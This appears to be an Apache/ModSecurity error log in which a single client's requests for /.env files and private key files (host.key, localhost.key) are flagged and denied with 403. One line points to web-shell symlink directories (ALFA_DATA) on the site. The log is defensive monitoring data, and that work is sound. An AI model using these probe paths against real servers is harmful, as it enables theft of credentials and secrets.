[Sun Oct 25 14:43:05.296095 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5NufHHYcoN3l-6u0omWAAAAAA"]
[Sun Oct 25 14:43:05.296248 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5NufHHYcoN3l-6u0omWAAAAAA"]
[Sun Oct 25 14:43:05.296492 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at5NufHHYcoN3l-6u0omWAAAAAA"]
[Sun Oct 25 14:43:05.297722 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at5Nud6BoG8GuVESjJgBewAAACU"]
[Sun Oct 25 14:43:05.297925 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at5Nud6BoG8GuVESjJgBewAAACU"]
[Sun Oct 25 14:43:05.298155 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at5Nud6BoG8GuVESjJgBewAAACU"]
[Sun Oct 25 14:43:05.299470 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXnAAAAAk"]
[Sun Oct 25 14:43:05.299669 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXnAAAAAk"]
[Sun Oct 25 14:43:05.299936 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at5NuQl_YuTmdn3pCPOXnAAAAAk"]
[Sun Oct 25 14:43:05.301041 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nwAAACc"]
[Sun Oct 25 14:43:05.301191 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nwAAACc"]
[Sun Oct 25 14:43:05.301429 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at5NuRNl8ZOaBiavdxV-nwAAACc"]
[Sun Oct 25 14:43:05.325113 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at5NuXgFQMGvpHXnWRNuxAAAAB8"]
[Sun Oct 25 14:43:05.325338 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at5NuXgFQMGvpHXnWRNuxAAAAB8"]
[Sun Oct 25 14:43:05.325650 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at5NuXgFQMGvpHXnWRNuxAAAAB8"]
[Sun Oct 25 14:43:05.327144 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at5NueapooGEQlE2Ll6VygAAACY"]
[Sun Oct 25 14:43:05.327288 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at5NueapooGEQlE2Ll6VygAAACY"]
[Sun Oct 25 14:43:05.327539 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at5NueapooGEQlE2Ll6VygAAACY"]
[Sun Oct 25 14:43:05.328698 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at5NuTh4F5IzB4_aosIHlgAAABQ"]
[Sun Oct 25 14:43:05.328907 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at5NuTh4F5IzB4_aosIHlgAAABQ"]
[Sun Oct 25 14:43:05.329154 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60962] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at5NuTh4F5IzB4_aosIHlgAAABQ"]
[Sun Oct 25 14:43:05.330403 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at5NucAxLusXGhv5UJnA7AAAABE"]
[Sun Oct 25 14:43:05.330591 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at5NucAxLusXGhv5UJnA7AAAABE"]
[Sun Oct 25 14:43:05.330852 2026] [security2:error] [pid 2880768:tid 2880768] [client 34.118.177.189:60892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at5NucAxLusXGhv5UJnA7AAAABE"]
[Sun Oct 25 14:43:05.337753 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at5NuW-zzrnLViXtlwWgegAAABg"]
[Sun Oct 25 14:43:05.338016 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at5NuW-zzrnLViXtlwWgegAAABg"]
[Sun Oct 25 14:43:05.338305 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at5NuW-zzrnLViXtlwWgegAAABg"]
[Sun Oct 25 14:43:05.358545 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at5NufHHYcoN3l-6u0omWQAAAAA"]
[Sun Oct 25 14:43:05.358873 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at5NufHHYcoN3l-6u0omWQAAAAA"]
[Sun Oct 25 14:43:05.359175 2026] [security2:error] [pid 2882116:tid 2882116] [client 34.118.177.189:60948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at5NufHHYcoN3l-6u0omWQAAAAA"]
[Sun Oct 25 14:43:05.361163 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at5NuQl_YuTmdn3pCPOXnQAAAAk"]
[Sun Oct 25 14:43:05.361460 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at5NuQl_YuTmdn3pCPOXnQAAAAk"]
[Sun Oct 25 14:43:05.361685 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at5NuQl_YuTmdn3pCPOXnQAAAAk"]
[Sun Oct 25 14:43:05.362616 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at5NuRNl8ZOaBiavdxV-oAAAACc"]
[Sun Oct 25 14:43:05.362867 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at5NuRNl8ZOaBiavdxV-oAAAACc"]
[Sun Oct 25 14:43:05.363131 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at5NuRNl8ZOaBiavdxV-oAAAACc"]
[Sun Oct 25 14:43:10.395288 2026] [ssl:error] [pid 2882195:tid 2882195] (70014)End of file found: [client 54.92.171.106:42004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:43:22.550953 2026] [ssl:error] [pid 2882204:tid 2882204] (70014)End of file found: [client 34.231.77.232:56482] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:43:23.619184 2026] [core:error] [pid 2882209:tid 2882209] (13)Permission denied: [client 85.208.96.201:31814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/destroy_by_rcu
[Sun Oct 25 14:43:26.535923 2026] [ssl:error] [pid 2882213:tid 2882213] (70014)End of file found: [client 3.89.170.186:57046] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:43:31.135106 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 85.208.96.200:34700] AH02013: coalesce failed to read from data bucket
